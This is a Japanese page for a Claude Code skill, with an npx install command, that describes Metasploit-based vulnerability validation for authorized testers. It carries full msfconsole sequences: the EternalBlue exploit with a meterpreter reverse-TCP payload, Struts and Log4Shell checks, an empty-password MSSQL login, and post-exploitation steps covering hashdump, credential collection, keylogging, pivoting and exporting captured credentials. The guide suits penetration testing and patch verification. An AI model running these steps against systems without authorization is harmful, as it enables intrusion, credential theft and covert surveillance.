exploiting-vulnerabilities-with-metasploit-framework について
認可されたセキュリティテスト担当者向けの、Metasploit Frameworkによる脆弱性検証ガイドです。悪用可能性と影響の確認、証拠の記録、修正後の再検証を扱います。
主な機能
- 01Exploitモジュールによる脆弱性検証
- 02Auxiliaryモジュールによる対象スキャン
- 03侵入後の影響評価
- 04テスト証拠とレポートのエクスポート
- 05パッチによる悪用防止の確認
活用シーン
- 01脆弱性スキャナーの検出結果を検証
- 02悪用の証拠に基づく修正優先度の判断
- 03認可テスト後のパッチ確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-vulnerabilities-with-metasploit-frameworkインストール後、Claude Code で/exploiting-vulnerabilities-with-metasploit-frameworkを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
Metasploit Framework による脆弱性の悪用
概要
Metasploit Framework は、Rapid7 が保守する、世界で最も広く利用されているペネトレーションテストプラットフォームです。2,300 を超えるエクスプロイト、1,200 の補助モジュール、400 の侵入後モジュールが含まれています。脆弱性管理において、Metasploit は、特定された脆弱性が実際に悪用可能かどうかを確認する検証ツールとして機能し、リスクに基づく優先順位付けを可能にするとともに、関係者に現実世界での影響を示します。
使用する場面
- Metasploit Framework を使った脆弱性の悪用を伴う、許可済みのセキュリティテストを実施するとき
- 管理された環境でマルウェアのサンプルや攻撃の痕跡を分析するとき
- レッドチーム演習やペネトレーションテストを実施するとき
- 攻撃的な手法への理解に基づいて検知機能を構築するとき
前提条件
- Metasploit Framework がインストールされていること(Kali Linux またはスタンドアロン)
- セッション/認証情報の管理に使用する PostgreSQL データベース
- テストに関する書面での承認とルール
- 隔離されたテスト環境、または承認済みの本番環境テスト時間枠
- ネットワーク、プロトコル、エクスプロイトの概念に関する理解
基本概念
Metasploit のアーキテクチャ
- msfconsole:主要な対話型コマンドラインインターフェース
- エクスプロイト:脆弱性を悪用してアクセスを得るモジュール
- ペイロード:エクスプロイト成功後にターゲット上で実行されるコード
- 補助モジュール:スキャン、ファジング、情報収集のためのモジュール
- 侵入後:権限昇格、永続化、ピボットに使用するモジュール
- エンコーダー:シグネチャベースの検知を回避するためのペイロードのエンコード
- Nop:ペイロードのアラインメントに使用するノーオペレーションジェネレーター
脆弱性管理におけるエクスプロイトのワークフロー
攻撃的なレッドチーム活動とは異なり、脆弱性管理では Metasploit を次の目的で使用します。
- スキャナーの検出結果を検証する(悪用可能かどうかを確認する)
- ビジネス関係者にリスクを実証する
- 実証済みの悪用経路に基づいて修正の優先順位を決定する
- エクスプロイトが成功しなくなったことを確認して、パッチを検証する
ワークフロー
ステップ 1:Metasploit 環境を初期化する
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init
# Launch msfconsole
msfconsole -q
# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025
# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
ステップ 2:特定の脆弱性を検証する
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444
# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
# Only exploit if check confirms vulnerability and authorized
msf6> exploit
# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check
# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
ステップ 3:検証のための補助スキャンを実施する
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run
# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run
# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run
# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
ステップ 4:侵入後の影響を評価する
# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector
# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy
# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_start
ステップ 5:検出結果を記録して報告する
# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv
# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xml
ステップ 6:パッチ適用後の検証を行う
# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfully
安全管理策
- 利用可能な場合は、
exploitの前に必ずcheckコマンドを使用してください - セッションを適切に管理するため、AutoRunScript を設定してください
- ターゲットのサービスがクラッシュするのを防ぐため、EXITFUNC=thread を使用してください
- 検証に必要な最小限の機能にペイロードを制限してください
- 監査証跡と証拠のため、すべての操作を記録してください
- 作業ごとにワークスペースを分離してください
- 許可されていないターゲットに対して Metasploit を決して実行しないでください
ベストプラクティス
- エクスプロイトを実行する前に、脆弱性チェックモジュールを使用してください
- Metasploit による検証は、優先度の高いスキャナーの検出結果に限定してください
- テスト時間枠についてシステム所有者と調整してください
- すべてのエクスプロイト試行の詳細なログを保管してください
- テスト後、すべての痕跡とセッションをクリーンアップしてください
- 結果を利用して、関係者にリスクを分かりやすく伝えてください
- Metasploit による検証を脆弱性管理ワークフローに組み込んでください
よくある落とし穴
- 書面での許可なくエクスプロイトを実行する(法的責任が生じる可能性があります)
- 調整なしに本番システムでエクスプロイトを実行する
- Meterpreter セッションや痕跡をクリーンアップしない
- 脆弱性の検証とペネトレーションテストの対象範囲を混同する
- パッチ適用済みのシステムに対して古い Metasploit モジュールを使用する
- 修正担当チーム向けにエクスプロイトの証拠を記録しない
関連スキル
- performing-red-team-validated-vulnerability-testing
- scanning-infrastructure-with-nessus
- performing-network-vulnerability-assessment
コメント
Markdown 対応